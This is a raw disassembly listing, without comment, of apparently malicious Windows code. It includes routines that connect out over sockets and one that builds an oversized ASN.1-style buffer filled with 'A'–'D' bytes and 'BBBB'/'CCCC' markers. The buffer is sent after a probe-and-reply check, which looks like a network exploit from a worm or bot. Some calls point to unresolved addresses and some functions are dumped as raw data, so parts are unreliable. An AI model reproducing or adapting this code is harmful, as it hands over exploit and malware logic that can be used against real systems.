		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4D0970[eax*8]
		push	eax
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4373AC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4D0974[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4D2970
		nop
		call	near ptr 26F074Dh


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4D0974[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4D0824
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4D08A4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4D07CC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_44376C[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4D08B0
		push	eax
		mov	edi, offset dword_4D3334
		push	offset dword_43748C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4D08BC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 8B015FFh, 8D50004Dh, 0FFFECC85h
		dd 74B468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 35600500h, 0E8500044h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2283910h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 34E890FCh, 0FF022642h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4D074Ch
		dd 45895040h, 2015FF08h, 89004D08h, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 0B015FFE4h, 50004D08h, 0FED0858Dh, 868FFFFh
		dd 50004375h, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 60050000h,	50004435h, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 28381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2264143h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 0B015FFE4h, 50004D08h, 0FED0858Dh, 0DC68FFFFh
		dd 50004374h, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4D06DC
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_4321F8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_437540
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_437548
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_4378C0
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_43754C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_4378B4
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_4378B0
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset a0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_4378A4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_43789F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4D083C


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4D0820
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4D0874
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4375DC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_43760C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4D353C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_437554
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_437618
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
